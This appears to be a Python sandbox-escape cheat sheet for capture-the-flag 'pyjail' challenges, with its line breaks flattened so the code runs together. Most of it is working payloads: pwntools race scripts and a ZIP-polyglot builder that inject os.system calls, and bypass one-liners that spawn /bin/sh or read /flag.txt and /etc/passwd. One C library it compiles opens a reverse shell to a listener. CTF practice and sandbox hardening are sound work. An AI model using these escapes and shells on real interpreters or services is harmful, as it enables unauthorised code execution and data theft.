Python Cheat Sheets
NOTICE:
This document will be continuously updated with the latest features and improvements. You can contribute to the project if you find any issues or have any suggestions.
Bypass Commentary
ding:hz and ~
import stringsource = """#!/usr/bin/env python3# We would like to extend our sincere apologies due to the fiasco# displayed below. As we all know, when we write python, we should# closely follow the zen of python. Just to refresh your mind, I'll# share the most important lines with you again:\"\"\"Beautiful is better than ugly.Explicit is better than implicit.Simple is better than complex.Complex is better than complicated.Flat is better than nested.\"\"\"# Extra safety, make sure no code is run:quit()def wish_printer():#wish = 'Kalmar says' + ' cheers!!'print(wish)"""lines = source.split('\n')ALLOWED_CHARACTERS = string.ascii_letters + string.digits + string.punctuation + ' '# Loop over lines and let user edit comments:for i, line in enumerate(lines):if i == 0: # We ignore the shebang line of coursecontinueif not line.lstrip().startswith('#'):continueprint(f'Line {i} is a comment. Currently it is `{line}`. What would you like to append?')user_input = input('> ')if not all(c in ALLOWED_CHARACTERS for c in user_input):print('Make sure to not use any funky characters! We want readable comments!')continuenew_line = line + user_inputif len(new_line) > 72:print('Comment too long! Make sure to follow PEP-8!')continuelines[i] = new_line# Write new filenew_python_file = '\n'.join(lines)with open('commented_code.py', 'w') as wf:wf.write(new_python_file)print(f"\nCommented code succesfully written to file. Here's the code:\n```\n{new_python_file}\n```\n")# Let's make sure the file is not broken:try:__import__('commented_code')except SyntaxError as e:print('SyntaxError:', str(e))quit()print('Yay, no errors! Thanks for commenting our code!')
Can be pwned
from pwn import *import threadingpayload1 = ['ding:hz', 'AAAAAA', 'AAAAA', 'ABCDEAAAAAAAAAAAAAAAAAAA', 'ABCDEFGHIJKLMAAAAAAAAAAAAAAAAA~', 'Aif __import__("os").system("ls -la") and True:']payload2 = ['ding:hz', '~', '~', '', '~', 'asdfasdf']def connect():return process(['python3', './server.py'], level='error')def spam1():att = 0while True:att += 1if att % 100 == 0:print('thread1', att)conn = connect()for v in payload1:conn.sendline(v.encode())res = conn.recvuntil(b'Thanks').decode()if 'total' in res:print(res)exit()conn.close()def spam2():att = 0while True:att += 1if att % 100 == 0:print('thread2', att)conn = connect()for v in payload2:conn.sendline(v.encode())res = conn.recvuntil(b'Thanks').decode()if 'total' in res:print(res)exit()conn.close()thread1 = threading.Thread(target=spam1)thread2 = threading.Thread(target=spam2)thread1.start()thread2.start()thread1.join()thread2.join()
zip confusion
#!/usr/bin/env python3import tempfileimport subprocessimport oscomment = input("> ").replace("\n", "").replace("\r", "")code = f"""print("hello world!")# This is a comment. Here's another:# {comment}print("Thanks for playing!")"""with tempfile.NamedTemporaryFile(mode="w", suffix=".py", delete=False) as f:f.write(code)temp_filename = f.nametry:result = subprocess.run(["python3", temp_filename], capture_output=True, text=True, timeout=5)if result.stdout:print(result.stdout, end="")if result.stderr:print(result.stderr, end="")except subprocess.TimeoutExpired:print("Timeout")finally:os.unlink(temp_filename)
Can be pwned
# https://www.analogue.computer/blog/python-zip-confusion# https://www.hacktron.ai/blog/python-zip-confusionimport io, struct, zipfile, pathlibimport itertoolsimport zlibimport subprocessJUNK_HEAD = """print("hello world!")# This is a comment. Here's another:# """.encode()JUNK_TAIL = """print("Thanks for playing!")"""FILENAME = b"__main__.py"BODY = b"__import__('os').system('whoami')#"def ascii_safe(x: int) -> bool:"""True if all four bytes have high bit clear."""return all(((x >> (8 * i)) & 0x80) == 0 for i in range(4))def find_suffix(core: bytes, length: int = 4) -> bytes:"""Brute-force an ASCII suffix of given length making CRC 32 valid."""printable = range(0x20, 0x7F) # space … tildefor tail in itertools.product(printable, repeat=length):payload = core + bytes(tail)crc = zlib.crc32(payload) & 0xFFFFFFFFif ascii_safe(crc):return bytes(tail), crcraise RuntimeError("unexpected: no suffix found")SUFFIX, CRC = find_suffix(BODY)PAYLOAD = BODY + SUFFIXSIZE = len(PAYLOAD)def le32(x): return struct.pack("<I", x)def le16(x): return struct.pack("<H", x)SIG_LFH = 0x04034B50SIG_CDH = 0x02014B50SIG_EOCD = 0x06054B50# --------------------------------------------------------------------# build the ZIP file# --------------------------------------------------------------------delta = len(JUNK_HEAD)# Local file headerlfh = le32(SIG_LFH)lfh += le16(0) # version needed to extractlfh += le16(0) # general purpose bit flaglfh += le16(0) # compression method = storedlfh += le16(0) # last mod file timelfh += le16(0) # last mod file datelfh += le32(CRC)lfh += le32(SIZE) # compressed sizelfh += le32(SIZE) # uncompressed sizelfh += le16(len(FILENAME))lfh += le16(0) # extra field lengthlfh += FILENAME# Central directory headercdh = le32(SIG_CDH)cdh += le16(0) # version made bycdh += le16(0) # version neededcdh += le16(0) # flagscdh += le16(0) # methodcdh += le16(0) # timecdh += le16(0) # datecdh += le32(CRC)cdh += le32(SIZE)cdh += le32(SIZE)cdh += le16(len(FILENAME))cdh += le16(0) # extra lencdh += le16(0) # comment lencdh += le16(0) # disk #cdh += le16(0) # int attrscdh += le32(0) # ext attrscdh += le32(delta) # relative offset of LFHcdh += FILENAME# patch CD offset to make it ASCII safecd_offset = delta + len(lfh) + len(PAYLOAD)pad = 0while not ascii_safe(cd_offset + pad):pad += 1padding = b'\x00' * padcd_offset += pad# end of central directory recordeocd = le32(SIG_EOCD)eocd += le16(0) # disk #eocd += le16(0) # disk where CD startseocd += le16(1) # # entries on this diskeocd += le16(1) # total # entrieseocd += le32(len(cdh)) # size of central directoryeocd += le32(cd_offset) # offset of CDeocd += le16(len(JUNK_TAIL)) # ZIP comment lengthzip_bytes = lfh + PAYLOAD + padding + cdh + eocdzip_bytes = bytearray(zip_bytes)assert all(b < 0x80 for b in zip_bytes), "non-ASCII byte detected!"# --------------------------------------------------------------------# solve the challenge# --------------------------------------------------------------------with open("polyglot.zip", "wb") as f:f.write(JUNK_HEAD + zip_bytes + JUNK_TAIL.encode())# Run locally: feed the payload to test/main.py via stdinproc = subprocess.run(["python","main.py",], input=zip_bytes.decode('latin-1'), text=True, capture_output=True)if proc.stdout:print(proc.stdout, end="")if proc.stderr:print(proc.stderr, end="")
Decorators
@exec@inputdef a():passCan be classfor 𝘱𝘢𝘵𝘩 in {lambda _: "flag.txt"}:@list@open@pathclass z:pass@__import__("os").system@inputclass _: pass@eval@'__import__\x28"os"\x29.system\x28"whoami"\x29'.formatclass _:pass# can be chained with \r@print\\r@set\\r@open\\r@input\\rclass\\x0ca:pass
Environment Variables
With this following environment variables, we can bypass the parenthesis and execute the code.
PYTHONINSPECTBROWSERPYTHONHOMEPYTHONPATHPYTHONWARNINGS
help.__repr__.__globals__["sys"].modules["os"].environ.__setitem__("PYTHONINSPECT", "1")help.__repr__.__builtins__["__import__"]('antigravity', help.__repr__.__builtins__["setattr"](help.__repr__.__builtins__["__import__"]('os'),'environ',{}.__class__(BROWSER='/bin/sh -c "cat /flag.txt" #%s')))
Finding sinks from modules
__import__("ctypes")._sys -> <module 'sys' (built-in)>__import__("ctypes")._os -> <module 'os' from '/usr/lib/python3.10/os.py'>
How to find sinks from modules
You can also use the object_walker library to find sinks from modules
$ objectwalker -m jinja2 --filter-module os --max-depth 15[FilterTypeIsModule] [module=os] [module_type=package] | jinja2.bccache.os[FilterTypeIsModule] [module=os] [module_type=package] | jinja2.environment.os[FilterTypeIsModule] [module=os] [module_type=package] | jinja2.loaders.os[FilterTypeIsModule] [module=os] [module_type=package] | jinja2.utils.os[FilterTypeIsModule] [module=os] [module_type=package] | jinja2.async_utils.inspect.os[FilterTypeIsModule] [module=os] [module_type=package] | jinja2.bccache.fnmatch.os[FilterTypeIsModule] [module=os] [module_type=package] | jinja2.bccache.tempfile._os[FilterTypeIsModule] [module=os] [module_type=package] | jinja2.clear_caches.__globals__["os"][FilterTypeIsModule] [module=os] [module_type=package] | jinja2.filters.random._os[FilterTypeIsModule] [module=os] [module_type=package] | jinja2.is_undefined.__globals__["os"][FilterTypeIsModule] [module=os] [module_type=package] | jinja2.loaders.posixpath.os[FilterTypeIsModule] [module=os] [module_type=package] | jinja2.nodes.inspect.os[FilterTypeIsModule] [module=os] [module_type=package] | jinja2.pass_context.__globals__["os"][FilterTypeIsModule] [module=os] [module_type=package] | jinja2.pass_environment.__globals__["os"][FilterTypeIsModule] [module=os] [module_type=package] | jinja2.pass_eval_context.__globals__["os"][FilterTypeIsModule] [module=os] [module_type=package] | jinja2.select_autoescape.__globals__["os"]
Format string
# Leak datasSECRET = 'YOUGOTME'class User():def __init__(self, id, username):self.id = idself.username = usernamedef __repr__(self):return '<User {u.username} (id {{i.id}})>'.format(u=self).format(i=self) # format string injectionuser = User(0, '{i.__init__.__globals__[SECRET]}')# Can RCEopen("/tmp/lib.c", "wb").write(b"""#include <stdlib.h>\\n__attribute__((constructor))\\nvoid init() {\\nsystem("python3 -c \\\\"import os; import socket; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(('localhost', 1234)); fd = s.fileno(); os.dup2(fd, 0); os.dup2(fd, 1); os.dup2(fd, 2); os.system('/bin/sh')\\\\"");\\n}""")import osos.system("gcc -shared -fPIC /tmp/lib.c -o lib.so")print("{0.__init__.__globals__[__loader__].load_module.__globals__[sys].modules[ctypes].cdll[/tmp/lib.so]}".format(user))
Good to know
breakpoint() # pdb -> import os; os.system("sh")exec(input()) # import os; os.system("sh")eval(input()) # __import__("os").system("sh")help() # less pager -> !/bin/shhelp() # less pager -> :e/flag.txtassert len(set( [ *open("/flag.txt"), open("/flag.txt").read(), set(open("/flag.txt")).pop() ] )) == 1# to stderrint(*open("/flag.txt"))float(*open("/flag.txt"))complex(*open("/flag.txt"))exit(set(open("/flag.txt")))exit(*open("/flag.txt"))open(*open("/flag.txt"))compile(".","/flag.txt","exec")raise Exception(*open("/flag.txt"))# to stdouthelp(*open("/flag.txt"))print(*open("/flag.txt"))type("", (), {"__init__": lambda s: print(open("flag.txt").read())})()memoryview(open("flag.txt", "rb").read()).tobytes()# to stdininput(*open("/flag.txt"))# https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes#read-file-with-builtins-help-and-licenselicense._Printer__filenames = ['/flag.txt']; license()[license() for _ in [license._Printer__filenames in [['/flag.txt']]]]
Create char & strings
# Normalprint("hello")# hex escapesprint("\x68\x65\x6c\x6c\x6f")# octal escapesprint("\150\145\154\154\157")# unicode code pointsprint("\u0068\u0065\u006c\u006c\u006f")print("\U00000068\U00000065\U0000006c\U0000006c\U0000006f")# Only with builtinsprint(().__doc__[56] + ().__doc__[17] + ().__doc__[3] + ().__doc__[3] + ().__doc__[34])print(().__doc__[56].__add__(().__doc__[17].__add__(().__doc__[3].__add__(().__doc__[3].__add__(().__doc__[34])))))print(chr(ord('ʚ')-ord('ȫ'))+chr(ord('ř')-ord('æ'))+chr(ord('ř')-ord('æ'))+chr(ord('ȉ')-ord('ơ')))
Create digits
print(10)print(True + True + True + True + True + True + True + True + True + True)print((()==()+()==())+(()==()+()==())+(()==()+()==())+(()==()+()==())+(()==()+()==())+(()==()+()==())+(()==()+()==())+(()==()+()==())+(()==()+()==())+(()==()+()==())) # work also with [] & {} & ...print(((()==())<<(()==())<<(()==())<<(()==()))|((()==())<<(()==()))) # ((1<<1<<1<<1) | (1<<1)) = 8 | 2 = 10print(len(str(...))+str(()))
Magic Methods
| Magic Method | When it gets invoked (example) | Description |
|---|---|---|
__new__(cls [,...]) | instance = MyClass(arg1, arg2) | __new__ is called on instance creation |
__init__(self [,...]) | instance = MyClass(arg1, arg2) | __init__ is called on instance creation |
__cmp__(self, other) | self == other, self > other, etc. | Called for any comparison |
__pos__(self) | +self | Unary plus sign |
__neg__(self) | -self | Unary minus sign |
__invert__(self) | ~self | Bitwise inversion |
__index__(self) | x[self] | Conversion when object is used as index |
__nonzero__(self) | bool(self) | Boolean value of the object |
__getattr__(self, name) | self.name # name doesn't exist | Accessing nonexistent attribute |
__setattr__(self, name, val) | self.name = val | Assigning to an attribute |
__delattr__(self, name) | del self.name | Deleting an attribute |
__getattribute__(self, name) | self.name | Accessing any attribute |
__getitem__(self, key) | self[key] | Accessing an item using an index |
__setitem__(self, key, val) | self[key] = val | Assigning to an item using an index |
__delitem__(self, key) | del self[key] | Deleting an item using an index |
__iter__(self) | for x in self | Iteration |
__contains__(self, value) | value in self, value not in self | Membership tests using in |
__call__(self [,...]) | self(args) | "Calling" an instance |
__enter__(self) | with self as x: | with statement context managers |
__exit__(self, exc, val, trace) | with self as x: | with statement context managers |
__getstate__(self) | pickle.dump(pkl_file, self) | Pickling |
__setstate__(self) | data = pickle.load(pkl_file) | Pickling |
# exit - fonctionne car c'est une instance de Quitterexit.__class__.__add__ = exec; exit + "import os; os.system('whoami')"quit.__class__.__add__ = exec; quit + "__import__('os').system('whoami')"# license - instance de _Printerlicense.__class__.__add__ = exec; license + "print(open('/etc/passwd').read())"credits.__class__.__add__ = exec; credits + "__import__('os').system('pwd')"copyright.__class__.__add__ = exec; copyright + "exec(input())"# help - instance de _Helperhelp.__class__.__sub__ = exec; help - "__import__('os').system('ls')"class X: passx = X()x.__class__.__add__ = exec; x + "__import__('os').system('id')"
Retrieving builtins
# obtain builtins from a globally defined built-in functions# https://docs.python.org/3/library/functions.htmlprint.__self____build_class__.__self____import__.__self__# obtain builtins from site-module constants# https://docs.python.org/3/library/constants.html#constants-added-by-the-site-modulehelp.__call__.__builtins__ # or __globals__help.__repr__.__globals__["sys"] # can chain with sys.moduleslicense.__repr__.__builtins__ # or __globals__license.__repr__.__globals__["sys"] # can chain with sys.modules# obtain the builtins from a defined functionfunc.__globals__['__builtins__'](lambda:...).__globals__# obtain builtins from generators(_ for _ in ()).gi_frame.f_builtins(_ for _ in ()).gi_frame.f_globals["__builtins__"](await _ for _ in ()).ag_frame.f_builtins(await _ for _ in ()).ag_frame.f_globals["__builtins__"][*([x.append((x[0].gi_frame.f_back.f_back.f_globals for _ in (1,))) or x[0] for x in [[]]][0])][0]["__builtins__"]# Can be obtained from the type of the object# https://robertchen.cc/blog/2018/07/27/tjctf18-abyssasync def code(): passftype = type(lambda: None)ctype = type(code().cr_code)get_classes = ftype(ctype(1, 0, 1, 1, 67, b'i\x00j\x00j\x01j\x02\x83\x00S\x00', (None,), ('__class__', '__base__', '__subclasses__'), ('a',), 'aaa.py', 'get_classes', 7, b'\x00\x01', (), ()), {})get_module = ftype(ctype(1, 0, 1, 1, 67, b'|\x00j\x00S\x00', (None,), ('_module',), ('warning_catcher',), 'aaa.py', 'get_module', 10, b'\x00\x01', (), ()), {})classes = get_classes('')warnings = classes[160]()module = get_module(warnings)os=module.sys.modules["os"]os.system("cat /flag.txt")
Unicode Bypass
# https://lingojam.com/ItalicTextGenerator# no ASCII𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵() # import os;os.system("/bin/sh")# no ASCII letters, no double underscores, inside eval__𝘪𝘮𝘱𝘰𝘳𝘵__(𝘪𝘯𝘱𝘶𝘵()).system(𝘪𝘯𝘱𝘶𝘵()) # double underscore bypass by having underscore + unicode underscore (https://www.compart.com/en/unicode/U+005F) -> U+FE33, U+FE34, U+FE4D, U+FE4E, U+FE4F, U+FF3F# no ASCII letters, no double underscores, no builtins, inside eval().__𝘤𝘭𝘢𝘴𝘴__.__𝘮𝘳𝘰__[1].__𝘴𝘶𝘣𝘤𝘭𝘢𝘴𝘴𝘦𝘴__()[104].𝘭𝘰𝘢𝘥_𝘮𝘰𝘥𝘶𝘭𝘦("\\157\\163").𝘴𝘺𝘴𝘵𝘦𝘮("\\57\\142\\151\\156\\57\\163\\150")# no ASCII letters, no double underscores, no builtins, no quotes/double quotes inside eval (>= python3.8)[𝘺:=().__𝘥𝘰𝘤__,𝘢:=y[19],().__𝘤𝘭𝘢𝘴𝘴__.__𝘮𝘳𝘰__[1].__𝘴𝘶𝘣𝘤𝘭𝘢𝘴𝘴𝘦𝘴__()[104].𝘭𝘰𝘢𝘥_𝘮𝘰𝘥𝘶𝘭𝘦(𝘺[34]+𝘢).𝘴𝘺𝘴𝘵𝘦𝘮(𝘢+𝘺[56])]# no ASCII letters, no double underscores, no builtins, no quotes/double quotes, no square brackets inside eval (>= python3.8)(𝘥:=().__𝘥𝘰𝘤__,d:=().__dir__().__class__(d),𝘴:=𝘥.𝘱𝘰𝘱(19),𝘥.__𝘤𝘭𝘢𝘴𝘴__(().__𝘤𝘭𝘢𝘴𝘴__.__𝘮𝘳𝘰__).𝘱𝘰𝘱(1).__𝘴𝘶𝘣𝘤𝘭𝘢𝘴𝘴𝘦𝘴__().𝘱𝘰𝘱(104).𝘭𝘰𝘢𝘥_𝘮𝘰𝘥𝘶𝘭𝘦(𝘥.𝘱𝘰𝘱(33)+𝘴).𝘴𝘺𝘴𝘵𝘦𝘮(𝘴+𝘥.𝘱𝘰𝘱(54)))# no double underscores, no builtins, no quotes/double quotes, no parenthesis inside eval, has existing object (>= python3.8)class cobj:...obj = cobj()[d:=[].__doc__,o:=d[32],s:=d[17],h:=d[54],[obj[s+h] for obj.__class__.__getitem__ in [[obj[o+s] for obj.__class__.__getitem__ in [[+obj for obj.__class__.__pos__ in [[].__class__.__mro__[1].__subclasses__]][0][104].load_module]][0].system]]]
Only Base Execption
# https://gist.github.com/0poss/ddf033ee64e82e3d899bd631f12729c1exc = BaseExceptionfor filterdigit in exc(lambda x: (c for c in x if c.isdigit())).args: passfor getgen in exc(lambda x: exc(x).args).args: passfor filtercurly in exc(lambda x: (c for c in x if not c.isalnum() and not c.isalpha() and c.isascii() and not c.isdecimal() and not c.isdigit() and not c.isidentifier() and not c.islower() and not c.isnumeric() and c.isprintable() and not c.isspace() and not c.istitle() and not c.isupper())).args: passfor filterdot in exc(lambda x: (c for c in x if c.isprintable() and c.isascii() and not (c.isalpha() or c.isdigit() or c.isalnum() or c.isspace() or c.islower() or c.isupper() or c.isidentifier() or c.isdecimal() or c.isnumeric()))).args: passtry: import fakeimportforunderscoreexcept exc as excunderscore:for underscore in (c for c in excunderscore.msg if not (c.isalpha() or c.isspace())): passtry: zero0except exc as exczero0:for zero in filterdigit(exczero0.name): passtry: one1except exc as excone1:for one in filterdigit(excone1.name): passtry: two2except exc as exctwo2:for two in filterdigit(exctwo2.name): passtry: three3except exc as excthree3:for three in filterdigit(excthree3.name): passtry: five5except exc as excfive5:for five in filterdigit(excfive5.name): passtry: six6except exc as excsix6:for six in filterdigit(excsix6.name): passtry: seven7except exc as excseven7:for seven in filterdigit(excseven7.name): passtry: eight8except exc as exceight8:for eight in filterdigit(exceight8.name): passtry: asciiexcept exc as excascii:for ascii in getgen(excascii.name): passtry: utfexcept exc as excutf:for utf in getgen(excutf.name): passtry: cpexcept exc as exccp:for cp in getgen(exccp.name): passtry: beexcept exc as excbe:for be in getgen(excbe.name): passfor utf16 in getgen(utf + underscore + one + six): passfor utf16be in getgen(utf16 + underscore + be): passfor utf8 in getgen(utf + eight): passfor cp1026 in getgen(cp + one + zero + two + six): passfor cp037 in getgen(cp + zero + three + seven): passfor cp875 in getgen(cp + eight + seven + five): passtry: dexcept exc as excd:for d in getgen(excd.name): passfor opencurly in filtercurly(d.encode(ascii).decode(cp037).encode(utf16).decode(cp037)): passtry: cexcept exc as excc:for c in getgen(excc.name): passfor closecurly in filtercurly(c.encode(utf16).decode(utf16be).encode(utf8).decode(cp1026)): passtry: hexcept exc as exch:for h in getgen(exch.name): passfor opensquare in h.encode(ascii).decode(cp1026): passtry: aexcept exc as exca:for a in getgen(exca.name): passfor closesquare in filtercurly(a.encode(utf16).decode(cp875).encode(utf8).decode(cp037)): passtry: lassexcept exc as exclass:for clas in getgen(c + exclass.name): passtry: baseexcept exc as excbase:for base in getgen(excbase.name): passtry: subclassesexcept exc as excsubclasses:for subclasses in getgen(excsubclasses.name): passtry:async def fn():while aucuneimportance:yield aucuneimportancenonplusfn().asend()except exc as excasync:for excasyncarg in excasync.args: passtry: oexcept exc as exco:for o in getgen(exco.name): passtry: sexcept exc as excs:for s in getgen(excs.name): passtry: hexcept exc as exch:for h in getgen(exch.name): passtry:for dot in filterdot(excasyncarg):(opencurly + zero + dot + underscore + underscore + clas + underscore + underscore + dot + underscore + underscore + base + underscore + underscore + dot + underscore + underscore + subclasses + underscore + underscore + dot + d+d+d+d+d+d+d+d+d + closecurly).format(())except exc as excsubclassesfn:for subclasses in getgen(excsubclassesfn.obj()): passtry: builtinsexcept exc as excbuiltins:for builtins in getgen(excbuiltins.name): passtry: initexcept exc as excinit:for init in getgen(excinit.name): passtry: impexcept exc as excimp:for imp in getgen(excimp.name): passtry: ortexcept exc as excort:for ort in getgen(excort.name): passfor subclass in subclasses:try:(opencurly + zero + dot + underscore + underscore + init + underscore + underscore + dot + underscore + underscore + builtins + underscore + underscore + opensquare + underscore + underscore + imp+ort + underscore + underscore + closesquare + closecurly).format(subclass)except: continuetry:(opencurly + zero + dot + underscore + underscore + init + underscore + underscore + dot + underscore + underscore + builtins + underscore + underscore + opensquare + underscore + underscore + imp+ort + underscore + underscore + closesquare + dot + d+d+d+d+d+d+d + closecurly).format(subclass)except exc as excfnimport:for fnimport in getgen(excfnimport.obj): passfnimport(o+s).system(s+h)break
Without Parenthesis
# list comprehension (exec & eval)[+obj for obj.__class__.__pos__ in ["".__class__.__subclasses__]][obj["print(123)"] for obj.__class__.__getitem__ in [eval]]# from builtin modules (exec & eval) - <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>[f"{license}" for license._Printer__setup in [breakpoint]]# Some other ways to bypass the parenthesis[f"{copyright}" for copyright.__class__.__str__ in [breakpoint]][+license for license.__class__.__pos__ in [breakpoint]][-quit for quit.__class__.__neg__ in [breakpoint]][help["ls"] for help.__class__.__getitem__ in [system]][[copyright.sh]for[[[copyright.__class__.__getattr__]]]in[[[[copyright.os.system]for[copyright.__class__.__getattr__]in[[__import__]]]]]][[help[quit[license]]]for[help.__class__.__getitem__]in[[eval]for[quit.__class__.__getitem__]in[[input]]]][[[help[quit[[]]]]for[quit.__class__.__getitem__]in[[input]]]for[help.__class__.__getitem__]in[[eval]]]# @hashkitten (exec)from os import system as __getattr__; from __main__ import sh# ADD - String Additionexit.__class__.__add__ = exec; exit + "import os; os.system\x28'whoami'\x29"# SUB - String Subtractionexit.__class__.__sub__ = exec; exit - "import os; os.system\x28'whoami'\x29"# MUL - String Multiplicationexit.__class__.__mul__ = exec; exit * "import os; os.system\x28'whoami'\x29"# DIV - String Divisionexit.__class__.__div__ = exec; exit / "import os; os.system\x28'whoami'\x29"# MOD - String Moduloexit.__class__.__mod__ = exec; exit % "import os; os.system\x28'whoami'\x29"# property bypassclass Test:@propertydef aFunction(self):print("you called this function")test = Test()test.aFunction